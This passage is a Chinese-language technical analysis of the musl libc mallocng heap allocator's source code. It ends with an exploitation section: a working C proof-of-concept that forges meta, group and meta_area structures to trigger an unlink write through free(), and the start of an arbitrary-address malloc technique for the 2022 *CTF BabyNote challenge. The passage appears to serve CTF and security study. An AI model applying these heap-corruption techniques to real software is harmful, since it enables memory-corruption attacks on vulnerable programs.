                need_unprotect = 0;
            }
        }

这里分两种情况:

  • 如果 brk 第一次调用,即 ctx.brk 为 0 ,则先调用 brk(0) 获取 heap 段基址,然后在页对齐的基础上再分配两个内存页的内存并且 need_guard 置 1 。如果分配内存连续(brk(new) != new)则由于 need_guard 置 1 需要将前一个内存页去掉读写权限。最后将 need_unprotect 置 0 。
    在这里插入图片描述
  • 如果 brk 不是第一次调用,即 ctx.brk 不为 0 ,则直接 brk 出一块内存页即可。
    在这里插入图片描述

如果之后如果还是没有空闲的 meta_area 说明此时 brk 以及不能连续扩展内存,因此需要通过 mmap 申请内存作为空闲的 meta_area 。mmap 的内存大小通过 meta_alloc_shift 计算,并且每次 mmap 之后,下次 mmap 的内存数量翻倍。和 brk 一样,获得的内存中的第一块内存页不能使用,由于 mmap 的内存没有读写权限,因此需要将 ctx.avail_meta_areas 指向的内存页赋上可读写权限。

        if (!ctx.avail_meta_area_count) {
            size_t n = 2UL << ctx.meta_alloc_shift;
            p = mmap(0, n * pagesize, PROT_NONE, MAP_PRIVATE | MAP_ANON, -1, 0);
            if (p == MAP_FAILED) return 0;
            ctx.avail_meta_areas = p + pagesize;
            ctx.avail_meta_area_count = (n - 1) * (pagesize >> 12);
            ctx.meta_alloc_shift++;
        }
        p = ctx.avail_meta_areas;
        if ((uintptr_t) p & (pagesize - 1)) need_unprotect = 0;
        if (need_unprotect)
            if (mprotect(p, pagesize, PROT_READ | PROT_WRITE) && errno != ENOSYS)
                return 0;

最后就是从空闲的 meta_area 中获取一个 meta_areas 然后再从该 meta_areas 中获取空闲的 meta 。

        ctx.avail_meta_area_count--;
        ctx.avail_meta_areas = p + 4096;
        if (ctx.meta_area_tail) {
            ctx.meta_area_tail->next = (void *) p;
        } else {
            ctx.meta_area_head = (void *) p;
        }
        ctx.meta_area_tail = (void *) p;
        ctx.meta_area_tail->check = ctx.secret;
        ctx.avail_meta_count = ctx.meta_area_tail->nslots = (4096 - sizeof(struct meta_area)) / sizeof *m;
        ctx.avail_meta = ctx.meta_area_tail->slots;

现在已经可以确定 meta_area 和 meta 的在内存中的关系如下图所示(以 mmap 扩展 meta_area 为例)。
在这里插入图片描述

group

struct group {
    struct meta *meta;
    unsigned char active_idx : 5;
    char pad[UNIT - sizeof(struct meta *) - 1];
    unsigned char storage[];
};

group中即保存有需要分配出去的chunk。

struct meta *meta:所属的meta的地址
unsigned char active_idx:5:5个比特,表示还有多少可用chunk
char pad[UNIT - sizeof(struct meta *) - 1]:手动16字节对齐
unsigned char storage[]:要分配出去的内存空间,chunk

alloc_group

首先获取一个 meta ,然后根据经验以及当前内存状态计算出需要申请的 group 中 chunk 的数量。

    size_t size = UNIT * size_classes[sc];
    int i = 0, cnt;
    unsigned char *p;
    struct meta *m = alloc_meta();
    if (!m) return 0;
    size_t usage = ctx.usage_by_class[sc];
    size_t pagesize = PGSZ;
    int active_idx;
    if (sc < 9) {
        while (i < 2 && 4 * small_cnt_tab[sc][i] > usage)
            i++;
        cnt = small_cnt_tab[sc][i];
    } else {
        // lookup max number of slots fitting in power-of-two size
        // from a table, along with number of factors of two we
        // can divide out without a remainder or reaching 1.
        cnt = med_cnt_tab[sc & 3];

        // reduce cnt to avoid excessive eagar allocation.
        while (!(cnt & 1) && 4 * cnt > usage)
            cnt >>= 1;

        // data structures don't support groups whose slot offsets
        // in units don't fit in 16 bits.
        while (size * cnt >= 65536 * UNIT)
            cnt >>= 1;
    }

    // If we selected a count of 1 above but it's not sufficient to use
    // mmap, increase to 2. Then it might be; if not it will nest.
    if (cnt == 1 && size * cnt + UNIT <= pagesize / 2) cnt = 2;

之后分两种情况。

如果所需内存大于页大小的一半则采用 mmap 的方式获取内存,期间也会对 group 中 chunk 的数量进行调整。注意 active_idx 的初值为 max ⁡ ( 0 , min ⁡ ( ⌊ 0x2000 − 16 size ⌋ − 1 , cnt − 1 ) ) \max(0,\min(\left \lfloor \frac{\text{0x2000}-16}{\text{size}} \right \rfloor-1 ,\text{cnt}-1)) max(0,min(size0x2000161,cnt1))

    // All choices of size*cnt are "just below" a power of two, so anything
    // larger than half the page size should be allocated as whole pages.
    if (size * cnt + UNIT > pagesize / 2) {
        // check/update bounce counter to start/increase retention
        // of freed maps, and inhibit use of low-count, odd-size
        // small mappings and single-slot groups if activated.
        int nosmall = is_bouncing(sc);
        account_bounce(sc);
        step_seq();

        // since the following count reduction opportunities have
        // an absolute memory usage cost, don't overdo them. count
        // coarse usage as part of usage.
        if (!(sc & 1) && sc < 32) usage += ctx.usage_by_class[sc + 1];

        // try to drop to a lower count if the one found above
        // increases usage by more than 25%. these reduced counts
        // roughly fill an integral number of pages, just not a
        // power of two, limiting amount of unusable space.
        if (4 * cnt > usage && !nosmall) {
            if (0)
                ;
            else if ((sc & 3) == 1 && size * cnt > 8 * pagesize)
                cnt = 2;
            else if ((sc & 3) == 2 && size * cnt > 4 * pagesize)
                cnt = 3;
            else if ((sc & 3) == 0 && size * cnt > 8 * pagesize)
                cnt = 3;
            else if ((sc & 3) == 0 && size * cnt > 2 * pagesize)
                cnt = 5;
        }
        size_t needed = size * cnt + UNIT;
        needed += -needed & (pagesize - 1);

        // produce an individually-mmapped allocation if usage is low,
        // bounce counter hasn't triggered, and either it saves memory
        // or it avoids eagar slot allocation without wasting too much.
        if (!nosmall && cnt <= 7) {
            req += IB + UNIT;
            req += -req & (pagesize - 1);
            if (req < size + UNIT || (req >= 4 * pagesize && 2 * cnt > usage)) {
                cnt = 1;
                needed = req;
            }
        }

        p = mmap(0, needed, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANON, -1, 0);
        if (p == MAP_FAILED) {
            free_meta(m);
            return 0;
        }
        m->maplen = needed >> 12;
        ctx.mmap_counter++;
        active_idx = (4096 - UNIT) / size - 1;
        if (active_idx > cnt - 1) active_idx = cnt - 1;
        if (active_idx < 0) active_idx = 0;
    } 

如果所需内存不超过页大小的一半则在再申请一个所需大小的 chunk,然后在其中构造 group 。与正常申请不同的是这里直接调用 alloc_slot 获取 chunk 的下标,不过和正常申请实际是一样的。在申请的 chunk 的头部要打上标记(p[-3] = (p[-3] & 31) | (6 << 5))。最后再将 group 中的每个 chunk 的 p[-4] 处置零。

    else {
        int j = size_to_class(UNIT + cnt * size - IB);
        int idx = alloc_slot(j, UNIT + cnt * size - IB);
        if (idx < 0) {
            free_meta(m);
            return 0;
        }
        struct meta *g = ctx.active[j];
        p = enframe(g, idx, UNIT * size_classes[j] - IB, ctx.mmap_counter);
        m->maplen = 0;
        p[-3] = (p[-3] & 31) | (6 << 5);
        for (int i = 0; i <= cnt; i++)
            p[UNIT + i * size - 4] = 0;
        active_idx = cnt - 1;
    }

最后更新 metagroup 的相关字段,从这里可以看到,有的 chunk 对应的 freed_mask 被置 1 ,这些 chunk 暂时参与不到内存分配中。最后将管理申请到的 groupmeta 返回。

    ctx.usage_by_class[sc] += cnt;
    m->avail_mask = (2u << active_idx) - 1;
    m->freed_mask = (2u << (cnt - 1)) - 1 - m->avail_mask;
    m->mem = (void *) p;
    m->mem->meta = m;
    m->mem->active_idx = active_idx;
    m->last_idx = cnt - 1;
    m->freeable = 1;
    m->sizeclass = sc;
    return m;

chunk

musl heap 中的 chunk 没有具体定义,但是根据程序可以分析出 chunk 的结构:

struct chunk {
	uint32_t offset_32;
	uint8_t use_32_offset;
    uint8_t inedx:5;
	uint8_t flag:3;
	uint16_t offset_16;
	char user_data[]
}

由于一般 offset_32 不使用,因此 chunk 结构如下图所示。
在这里插入图片描述

  • offset_32offset_16 都表示 chunkuser_data 与所在 groupstorage 之间的偏移除以 16 ,只不过一个用 32 比特存储一个用 16 比特存储。当申请的 chunk 为该 chunk 内部的一块空间则外部的 chunkoffset 为与内部 chunk 的偏移除以 16 。当 chunk 被 free 掉时 offset 被置 0 。
  • use_32_offset 表示是否用 offset_32 存储偏移。
  • flagchunk 的标志位。当申请的 chunk 为该 chunk 内部的一块空间则外部的 chunkflag 为 7 , 当申请的 chunk 作为 group 时该 chunkflag 为 6 。正常申请出的 chunk ,该值为 reserved ,其中 reserveduser_datachunk 结束位置的距离减去用户申请的内存大小与 5 取 min 的结果。如果 chunk 被 free 掉则 flagindex 一并置为 0xFF 。
  • index 表示该 chunkgroup 中的下标。当申请的 chunk 为该 chunk 内部的一块空间则外部的 chunkindex 为 0 ,内部 chunkindex 为外部 chunkgroup 中的下标。
get_slot_index

获取 chunkindex

static inline int get_slot_index(const unsigned char *p) {
    return p[-3] & 31;
}
get_nominal_size

获取 chunkuser_data 的大小 ,具体原理见下面对 enframeset_size 函数的分析。

static inline size_t get_nominal_size(const unsigned char *p, const unsigned char *end) {
    size_t reserved = p[-3] >> 5;
    if (reserved >= 5) {
        assert(reserved == 5);
        reserved = *(const uint32_t *) (end - 4);
        assert(reserved >= 5);
        assert(!end[-5]);
    }
    assert(reserved <= end - p);
    assert(!*(end - reserved));
    // also check the slot's overflow byte
    assert(!*end);
    return end - reserved - p;
}
get_meta

首先获取 chunkoffsetindex ,然后根据 offset 得到 chunk 对应 group 的地址,之后根据 group 获得 meta

    assert(!((uintptr_t) p & 15));
    int offset = *(const uint16_t *) (p - 2);
    int index = get_slot_index(p);
    if (p[-4]) {
        assert(!offset);
        offset = *(uint32_t *) (p - 8);
        assert(offset > 0xffff);
    }
    const struct group *base = (const void *) (p - UNIT * offset - UNIT);
    const struct meta *meta = base->meta;

之后对 metachunk 进行相关检查,防止伪造 chunk 。通过检查后返回得到的 meta

    assert(meta->mem == base);
    assert(index <= meta->last_idx);
    assert(!(meta->avail_mask & (1u << index)));
    assert(!(meta->freed_mask & (1u << index)));
    const struct meta_area *area = (void *) ((uintptr_t) meta & -4096);
    assert(area->check == ctx.secret);
    if (meta->sizeclass < 48) {
        assert(offset >= size_classes[meta->sizeclass] * index);
        assert(offset < size_classes[meta->sizeclass] * (index + 1));
    } else {
        assert(meta->sizeclass == 63);
    }
    if (meta->maplen) {
        assert(offset <= meta->maplen * 4096UL / UNIT - 1);
    }
    return (struct meta *) meta;

函数分析

malloc

首先检查申请的内存是否溢出。

if (size_overflows(n)) return 0;

如果申请的内存大于 131052 字节则采用直接 mmap 的方式申请。

    if (n >= MMAP_THRESHOLD) {
        size_t needed = n + IB + UNIT;
        void *p = mmap(0, needed, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANON, -1, 0);
        if (p == MAP_FAILED) return 0;
        wrlock();
        step_seq();
        g = alloc_meta();
        if (!g) {
            unlock();
            munmap(p, needed);
            return 0;
        }
        g->mem = p;
        g->mem->meta = g;
        g->last_idx = 0;
        g->freeable = 1;
        g->sizeclass = 63;
        g->maplen = (needed + 4095) / 4096;
        g->avail_mask = g->freed_mask = 0;
        // use a global counter to cycle offset in
        // individually-mmapped allocations.
        ctx.mmap_counter++;
        idx = 0;
        goto success;
    }

否则先计算出申请的内存大小所在的组并取出对应组的 deque 中 ctx.active[sc] 指向的那个 meta

    sc = size_to_class(n);

    rdlock();
    g = ctx.active[sc];

其中 size_to_class 定义如下:

static inline int size_to_class(size_t n) {
    n = (n + IB - 1) >> 4;
    if (n < 10) return n;
    n++;
    int i = (28 - a_clz_32(n)) * 4 + 8;
    if (n > size_classes[i + 1]) i += 2;
    if (n > size_classes[i]) i++;
    return i;
}

该代码等价于下面的 C++ 代码,只不过根据数据特性进行了复杂度的优化。

std::lower_bound(size_classes, size_classes + 48, (n + IB - 1) >> 4) - size_classes;

对应组的 deque 为空则根据经验进行一些调整。

    // use coarse size classes initially when there are not yet
    // any groups of desired size. this allows counts of 2 or 3
    // to be allocated at first rather than having to start with
    // 7 or 5, the min counts for even size classes.
    if (!g && sc >= 4 && sc < 32 && sc != 6 && !(sc & 1) && !ctx.usage_by_class[sc]) {
        size_t usage = ctx.usage_by_class[sc | 1];
        // if a new group may be allocated, count it toward
        // usage in deciding if we can use coarse class.
        if (!ctx.active[sc | 1] || (!ctx.active[sc | 1]->avail_mask && !ctx.active[sc | 1]->freed_mask))
            usage += 3;
        if (usage <= 12)
            sc |= 1;
        g = ctx.active[sc];
    }

之后从尝试在该 meta 中获取一个空闲 chunk 的下标,如果成功则更新 avail_mask 后直接跳转到 success 否则跳出循环。

    for (;;) {
        mask = g ? g->avail_mask : 0;
        first = mask & -mask;
        if (!first) break;
        if (RDLOCK_IS_EXCLUSIVE || !MT)
            g->avail_mask = mask - first;
        else if (a_cas(&g->avail_mask, mask, mask - first) != mask)
            continue;
        idx = a_ctz_32(first);
        goto success;
    }
    upgradelock();

如果 meta 没有空闲 chunk 则调用 alloc_slot 获取一个有空闲 chunk 的 meta 然后让 ctx.active 对应的 deque 头指向这个 meta

    idx = alloc_slot(sc, n);
    if (idx < 0) {
        unlock();
        return 0;
    }
    g = ctx.active[sc];

最后如果成功获取空闲 chunk 的下标则调用 enframe 函数将该 chunk 取出。

success:
    ctr = ctx.mmap_counter;
    unlock();
    return enframe(g, idx, n, ctr);

alloc_slot

static int alloc_slot(int sc, size_t req) {
    uint32_t first = try_avail(&ctx.active[sc]);
    if (first) return a_ctz_32(first);

    struct meta *g = alloc_group(sc, req);
    if (!g) return -1;

    g->avail_mask--;
    queue(&ctx.active[sc], g);
    return 0;
}

首先调用 try_avail 获取一个有空闲 chunk 的 meta 然后让让 ctx.active 对应的 deque 头指向这个 meta ,否则调用 alloc_group 申请一个新的 group 并且将这个 group 对应的 meta 加入到 deque 中(此时 deque 中就这一个 meta 因此 ctx.active 对应的 deque 头指向这个 meta )。

try_avail

首先如果 deque 为空则直接返回 0 。

    struct meta *m = *pm;
    uint32_t first;
    if (!m) return 0;

如果没有可用的 chunk 则尝试获取一个有可用 chunk 的 meta 并将它连到 deque 头,最后从其中获取一个下标最小的可用 chunk 更新 avail_mask 并返回下标。

    uint32_t mask = m->avail_mask;
    if (!mask) {...}
    first = mask & -mask;
    m->avail_mask = mask - first;
    return first;

如果当前的 meta 既没有空闲的 chunk 也没有释放的 chunk 则直接将该 meta 从 deque 中取出。为了充分利用空闲的 chunk ,无论当前 meta 有没有释放的 chunk 都会将 deque 的头指向下一个 meta 。另外如果 deque 为空会返回 0 。如果是正常情况如果有下一个 meta 则下一个 meta 一定会有可用或释放的 chunk 。

        if (!m->freed_mask) {
            dequeue(pm, m);
            m = *pm;
            if (!m) return 0;
        } else {
            m = m->next;
            *pm = m;
        }

如果下一个 meta 全部都是释放的 chunk 那么本着充分利用空闲 chunk 的原则会将 deque 的头指向下一个 meta

        mask = m->freed_mask;

        // skip fully-free group unless it's the only one
        // or it's a permanently non-freeable group
        if (mask == (2u << m->last_idx) - 1 && m->freeable) {
            m = m->next;
            *pm = m;
            mask = m->freed_mask;
        }

如果当前 chunk 的 active_idx 范围内没有释放的 chunk 则尽可能选择下一个 chunk 否则根据经验扩大 active_idx 的范围,最后调用 activate_group 函数将 active_idx 范围内释放的 chunk 转换为空闲的 chunk。

        // activate more slots in a not-fully-active group
        // if needed, but only as a last resort. prefer using
        // any other group with free slots. this avoids
        // touching & dirtying as-yet-unused pages.
        if (!(mask & ((2u << m->mem->active_idx) - 1))) {
            if (m->next != m) {
                m = m->next;
                *pm = m;
            } else {
                int cnt = m->mem->active_idx + 2;
                int size = size_classes[m->sizeclass] * UNIT;
                int span = UNIT + size * cnt;
                // activate up to next 4k boundary
                while ((span ^ (span + size - 1)) < 4096) {
                    cnt++;
                    span += size;
                }
                if (cnt > m->last_idx + 1)
                    cnt = m->last_idx + 1;
                m->mem->active_idx = cnt - 1;
            }
        }
        mask = activate_group(m);
        assert(mask);
        decay_bounces(m->sizeclass);
    }

enframe

首先计算出 chunk 的起始和结束地址。

    size_t stride = get_stride(g);
    size_t slack = (stride - IB - n) / UNIT;
    unsigned char *p = g->mem->storage + stride * idx;
    unsigned char *end = p + stride - IB;

其中 get_stride 函数是计算出 meta 中 chunk 的大小。

static inline size_t get_stride(const struct meta *g) {
    if (!g->last_idx && g->maplen) {
        return g->maplen * 4096UL - UNIT;
    } else {
        return UNIT * size_classes[g->sizeclass];
    }
}

为了增大利用难度,用户使用的内存区域会在原有 chunk 的位置后加一个随机的偏移 off ,这个随机值是通过 ctrctx.mmap_counter), chunk 的 offset 以及剩余区域大小计算出来的。之后在原有 chunk 的 idx 字段打上 7 << 5 标记,并且将 p 指针后移 UNIT * off 字节。

    // cycle offset within slot to increase interval to address
    // reuse, facilitate trapping double-free.
    int off = (p[-3] ? *(uint16_t *) (p - 2) + 1 : ctr) & 255;
    assert(!p[-4]);
    if (off > slack) {
        size_t m = slack;
        m |= m >> 1;
        m |= m >> 2;
        m |= m >> 4;
        off &= m;
        if (off > slack) off -= slack + 1;
        assert(off <= slack);
    }
    if (off) {
        // store offset in unused header at offset zero
        // if enframing at non-zero offset.
        *(uint16_t *) (p - 2) = off;
        p[-3] = 7 << 5;
        p += UNIT * off;
        // for nonzero offset there is no permanent check
        // byte, so make one.
        p[-4] = 0;
    }

最后如下图所示设置相关字段信息。
在这里插入图片描述

static inline void set_size(unsigned char *p, unsigned char *end, size_t n) {
    int reserved = end - p - n;
    if (reserved) end[-reserved] = 0;
    if (reserved >= 5) {
        *(uint32_t *) (end - 4) = reserved;
        end[-5] = 0;
        reserved = 5;
    }
    p[-3] = (p[-3] & 31) + (reserved << 5);
}

    *(uint16_t *) (p - 2) = (size_t) (p - g->mem->storage) / UNIT;
    p[-3] = idx;
    set_size(p, end, n);
    return p;

free

p 为空直接返回,否则获取 chunk 对应的 metaindexgroupchunk 的大小,根据这些信息计算出 chunk 的起始和结束位置。

    if (!p) return;

    struct meta *g = get_meta(p);
    int idx = get_slot_index(p);
    size_t stride = get_stride(g);
    unsigned char *start = g->mem->storage + stride * idx;
    unsigned char *end = start + stride - IB;
    get_nominal_size(p, end);
    uint32_t self = 1u << idx, all = (2u << g->last_idx) - 1;

chunkindexflag 一并置为 0xFF ,offset 置为 0 。

    ((unsigned char *) p)[-3] = 255;
    // invalidate offset to group header, and cycle offset of
    // used region within slot if current offset is zero.
    *(uint16_t *) ((char *) p - 2) = 0;

如果释放的 chunk 的起始和结束地址差至少 2 个内存页则释放的 chunk 必然包含一个内存页,因此将 chunk 包含的所有完整物理页调用 madvise 设置 lazyfree 标志,这样在内存紧缺的时候会回收这些物理页。

    // release any whole pages contained in the slot to be freed
    // unless it's a single-slot group that will be unmapped.
    if (((uintptr_t) (start - 1) ^ (uintptr_t) end) >= 2 * PGSZ && g->last_idx) {
        unsigned char *base = start + (-(uintptr_t) start & (PGSZ - 1));
        size_t len = (end - base) & -PGSZ;
        if (len) {
            int e = errno;
            madvise(base, len, MADV_FREE);
            errno = e;
        }
    }

如果加上将要释放的 chunkgroup 中的所有 chunk 要么被释放要么空闲则跳出循环,否则更新 freed_mask 并返回。

    // atomic free without locking if this is neither first or last slot
    for (;;) {
        uint32_t freed = g->freed_mask;
        uint32_t avail = g->avail_mask;
        uint32_t mask = freed | avail;
        assert(!(mask & self));
        if (!freed || mask + self == all) break;
        if (!MT)
            g->freed_mask = freed + self;
        else if (a_cas(&g->freed_mask, freed, freed + self) != freed)
            continue;
        return;
    }

如果跳出循环则会调用 nontrivial_free 释放 group 并返回需要 munmap 的内存的起始地址和大小,之后调用 munmap 释放这块内存。

    wrlock();
    struct mapinfo mi = nontrivial_free(g, idx);
    unlock();
    if (mi.len) {
        int e = errno;
        munmap(mi.base, mi.len);
        errno = e;
    }

nontrivial_free

如果加上将要释放的 chunkgroup 中的所有 chunk 要么被释放要么空闲并且 group 是可以释放的则首先判断 meta 是否在 active 这个 deque 中,如果在的话会将该 meta 从 deque 中取出。如果取出这个操作改变了 active 指针则将 active 当前指向的 meta 对应的 group 中的 chunk 调用 activate_group 函数激活。之后调用 free_groupchunk 所在的 group 释放并返回需要 munmap 的内存。

    uint32_t self = 1u << i;
    int sc = g->sizeclass;
    uint32_t mask = g->freed_mask | g->avail_mask;

    if (mask + self == (2u << g->last_idx) - 1 && okay_to_free(g)) {
        // any multi-slot group is necessarily on an active list
        // here, but single-slot groups might or might not be.
        if (g->next) {
            assert(sc < 48);
            int activate_new = (ctx.active[sc] == g);
            dequeue(&ctx.active[sc], g);
            if (activate_new && ctx.active[sc])
                activate_group(ctx.active[sc]);
        }
        return free_group(g);
    } 

如果该 chunk 所在的 meta 既没有释放的 chunk 也没有空闲的 chunk 则将该 meta 加入到 active 中。最后更新 freed_mask

    else if (!mask) {
        assert(sc < 48);
        // might still be active if there were no allocations
        // after last available slot was taken.
        if (ctx.active[sc] != g) {
            queue(&ctx.active[sc], g);
        }
    }
    a_or(&g->freed_mask, self);
    return (struct mapinfo){0};

free_group

首先更新 usage_by_class 。如果 group 是 mmap 得到的则返回 group 对应内存,否则调用 nontrivial_free 释放 group 所在的 chunk 。之后将 meta 释放。

static struct mapinfo free_group(struct meta *g) {
    struct mapinfo mi = {0};
    int sc = g->sizeclass;
    if (sc < 48) {
        ctx.usage_by_class[sc] -= g->last_idx + 1;
    }
    if (g->maplen) {
        step_seq();
        record_seq(sc);
        mi.base = g->mem;
        mi.len = g->maplen * 4096UL;
    } else {
        void *p = g->mem;
        struct meta *m = get_meta(p);
        int idx = get_slot_index(p);
        g->mem->meta = 0;
        // not checking size/reserved here; it's intentionally invalid
        mi = nontrivial_free(m, idx);
    }
    free_meta(g);
    return mi;
}

group 可以被释放的条件如下:

static int okay_to_free(struct meta *g) {
    int sc = g->sizeclass;

    if (!g->freeable) return 0;

    // always free individual mmaps not suitable for reuse
    if (sc >= 48 || get_stride(g) < UNIT * size_classes[sc])
        return 1;

    // always free groups allocated inside another group's slot
    // since recreating them should not be expensive and they
    // might be blocking freeing of a much larger group.
    if (!g->maplen) return 1;

    // if there is another non-full group, free this one to
    // consolidate future allocations, reduce fragmentation.
    if (g->next != g) return 1;

    // free any group in a size class that's not bouncing
    if (!is_bouncing(sc)) return 1;

    size_t cnt = g->last_idx + 1;
    size_t usage = ctx.usage_by_class[sc];

    // if usage is high enough that a larger count should be
    // used, free the low-count group so a new one will be made.
    if (9 * cnt <= usage && cnt < 20)
        return 1;

    // otherwise, keep the last group in a bouncing class.
    return 0;
}

堆利用

unlink

伪造 chunkgroupmeta 然后释放伪造的 chunk ,通过合理构造伪造的 meta 中的 prevnext 利用 nontrivial_free 中调用的 dequeue 实现 unlink 操作。

根据前面的分析, free 首先会调用 get_meta ,而 get_meta 有如下检查:

static inline struct meta *get_meta(const unsigned char *p) {
    assert(!((uintptr_t) p & 15));
    int offset = *(const uint16_t *) (p - 2);
    int index = get_slot_index(p);
    if (p[-4]) {
        assert(!offset);
        offset = *(uint32_t *) (p - 8);
        assert(offset > 0xffff);
    }
    const struct group *base = (const void *) (p - UNIT * offset - UNIT);
    const struct meta *meta = base->meta;
    assert(meta->mem == base);
    assert(index <= meta->last_idx);
    assert(!(meta->avail_mask & (1u << index)));
    assert(!(meta->freed_mask & (1u << index)));
    const struct meta_area *area = (void *) ((uintptr_t) meta & -4096);
    assert(area->check == ctx.secret);
    if (meta->sizeclass < 48) {
        assert(offset >= size_classes[meta->sizeclass] * index);
        assert(offset < size_classes[meta->sizeclass] * (index + 1));
    } else {
        assert(meta->sizeclass == 63);
    }
    if (meta->maplen) {
        assert(offset <= meta->maplen * 4096UL / UNIT - 1);
    }
    return (struct meta *) meta;
}
  • assert(!((uintptr_t) p & 15));,即 chunk 应该关于 0x10 对齐。
  • meta->mem == base ,即 meta 中保存的 group 指针要正确。
  • index <= meta->last_idx ,即 chunk 的索引不能越界。
  • assert(!(meta->avail_mask & (1u << index)));assert(!(meta->freed_mask & (1u << index))); ,检测 double free 。
  • area->check == ctx.secret ,即 meta 所在的 meta_area 的校验值正确。如果伪造的 meta 位于一个伪造的 meta_area 中,需要首先获取校验值 secret 并保存到 meta_area 开头,即这一页最开始的地方。
  • offset >= size_classes[meta->sizeclass]*indexoffset < size_classes[meta->sizeclass]*(index+1) ,这两个检查 offsetchunk 大小是否对应。
  • assert(offset <= meta->maplen*4096UL/UNIT - 1); ,即检查 offset 是否越界。

紧接着还会调用 get_nominal_size,其中有对 chunk 的检查,总结来说 chunk 区域尽量都填 0 。

static inline size_t get_nominal_size(const unsigned char *p, const unsigned char *end) {
    size_t reserved = p[-3] >> 5;
    if (reserved >= 5) {
        assert(reserved == 5);
        reserved = *(const uint32_t *) (end - 4);
        assert(reserved >= 5);
        assert(!end[-5]);
    }
    assert(reserved <= end - p);
    assert(!*(end - reserved));
    // also check the slot's overflow byte
    assert(!*end);
    return end - reserved - p;
}

之后在 free 中的循环满足条件跳出循环调用 nontrivial_free 函数。

    for (;;) {
        uint32_t freed = g->freed_mask;
        uint32_t avail = g->avail_mask;
        uint32_t mask = freed | avail;
        assert(!(mask & self));
        if (!freed || mask + self == all) break;
        ...
    }

    wrlock();
    struct mapinfo mi = nontrivial_free(g, idx);

进入 nontrivial_free 函数后会执行如下代码。okay_to_free 函数返回非 0 的前提是 meta->freeable 非 0,另外还要确保 meta->sizeclass < 48 。之后调用 dequeue 函数触发 unlink 。

    uint32_t self = 1u << i;
    int sc = g->sizeclass;
    uint32_t mask = g->freed_mask | g->avail_mask;

    if (mask + self == (2u << g->last_idx) - 1 && okay_to_free(g)) {
        // any multi-slot group is necessarily on an active list
        // here, but single-slot groups might or might not be.
        if (g->next) {
            assert(sc < 48);
            int activate_new = (ctx.active[sc] == g);
            dequeue(&ctx.active[sc], g);
            if (activate_new && ctx.active[sc])
                activate_group(ctx.active[sc]);
        }
        return free_group(g);
    } 

之后进入 free_group 函数后为了减小伪造难度不再调用 nontrivial_free 要保证 maplen 不为零。

static struct mapinfo free_group(struct meta *g) {
    struct mapinfo mi = {0};
    int sc = g->sizeclass;
    if (sc < 48) {
        ctx.usage_by_class[sc] -= g->last_idx + 1;
    }
    if (g->maplen) {
        step_seq();
        record_seq(sc);
        mi.base = g->mem;
        mi.len = g->maplen * 4096UL;
    } else {
        void *p = g->mem;
        struct meta *m = get_meta(p);
        int idx = get_slot_index(p);
        g->mem->meta = 0;
        // not checking size/reserved here; it's intentionally invalid
        mi = nontrivial_free(m, idx);
    }
    free_meta(g);
    return mi;
}

poc 如下:

#include <ctype.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <assert.h>

#define UNIT 16
#define IB 4
#define FAKE_CHUNK_SIZE 0x80
#define FAKE_CHUNK_INDEX 1
#define LAST_INDEX 4

const uint16_t size_classes[] = {
        1, 2, 3, 4, 5, 6, 7, 8,
        9, 10, 12, 15,
        18, 20, 25, 31,
        36, 42, 50, 63,
        72, 84, 102, 127,
        146, 170, 204, 255,
        292, 340, 409, 511,
        584, 682, 818, 1023,
        1169, 1364, 1637, 2047,
        2340, 2730, 3276, 4095,
        4680, 5460, 6552, 8191,
};

static inline int size_to_class(size_t n) {
    n = (n + IB - 1) >> 4;
    if (n < 10) return n;
    n++;
    int i = (28 - __builtin_ctz(n)) * 4 + 8;
    if (n > size_classes[i + 1]) i += 2;
    if (n > size_classes[i]) i++;
    return i;
}

struct malloc_context {
    uint64_t secret;
    int init_done;
    unsigned mmap_counter;
    struct meta *free_meta_head;
    struct meta *avail_meta;
    size_t avail_meta_count, avail_meta_area_count, meta_alloc_shift;
    struct meta_area *meta_area_head, *meta_area_tail;
    unsigned char *avail_meta_areas;
    struct meta *active[48];
    size_t usage_by_class[48];
    uint8_t unmap_seq[32], bounces[32];
    uint8_t seq;
    uintptr_t brk;
};
struct group {
    struct meta *meta;
    unsigned char active_idx: 5;
    char pad[UNIT - sizeof(struct meta *) - 1];
    unsigned char storage[];
};
struct meta {
    struct meta *prev, *next;
    struct group *mem;
    volatile int avail_mask, freed_mask;
    uintptr_t last_idx: 5;
    uintptr_t freeable: 1;
    uintptr_t sizeclass: 6;
    uintptr_t maplen: 8 * sizeof(uintptr_t) - 12;
};
struct meta_area {
    uint64_t check;
    struct meta_area *next;
    int nslots;
    struct meta slots[];
};

int main() {
    struct malloc_context *ctx = (struct malloc_context *) (&printf + 0x247193);
    struct meta target = {};

    void *mmap_space = mmap(NULL, 0x2000, PROT_WRITE | PROT_READ, MAP_PRIVATE | MAP_ANON, -1, 0);

    struct meta_area *fake_meta_area = mmap_space;
    fake_meta_area->check = ctx->secret;

    struct meta *fake_meta = (struct meta *) ((uint64_t) mmap_space + 0x100);
    fake_meta->maplen = 1;
    fake_meta->sizeclass = size_to_class(FAKE_CHUNK_SIZE - IB);
    fake_meta->last_idx = LAST_INDEX;
    fake_meta->freeable = 1;

    struct group *fake_group = (struct group *) ((uint64_t) mmap_space + 0x1000);
    fake_meta->mem = fake_group;
    fake_group->meta = fake_meta;
    fake_meta->avail_mask = ((2U << LAST_INDEX) - 1) ^ (1 << FAKE_CHUNK_INDEX);
    fake_meta->freed_mask = 0;

    uint8_t *fake_chunk = (uint8_t *) ((uint64_t) fake_group->storage + size_classes[fake_meta->sizeclass] * UNIT * FAKE_CHUNK_INDEX);
    *(uint16_t *) (fake_chunk - 2) = (fake_chunk - fake_group->storage) / UNIT;
    fake_chunk[-3] = FAKE_CHUNK_INDEX;

    fake_meta->prev = fake_meta->next = &target;
    free(fake_chunk);
    assert(target.prev == target.next && target.prev == &target);

    return 0;
}

任意地址 malloc(calloc)

2022*CTF BabyNote 为例。
伪造 groupmetameta_area,然后释放 group 中的 chunk 使 meta 链入 active 链表中。之后反复释放和申请 meta 所在 chunk 并修改 meta 中的 mem 指向就可以达到任意地址 malloc 的效果。
注意 enframe 函数中有如下检查,因此需要申请的 fake chunk 的前面对应位置应该为 0 。

    assert(!p[-4]);

模板如下:

fake_name_addr = libc.address + 0xb7990
fake_meta_area_addr = libc.address - 0x6000
fake_meta_addr = fake_meta_area_addr + 0x8
fake_group_addr = elf.address + 0x4b90
fake_chunk_addr = fake_group_addr + 0x10

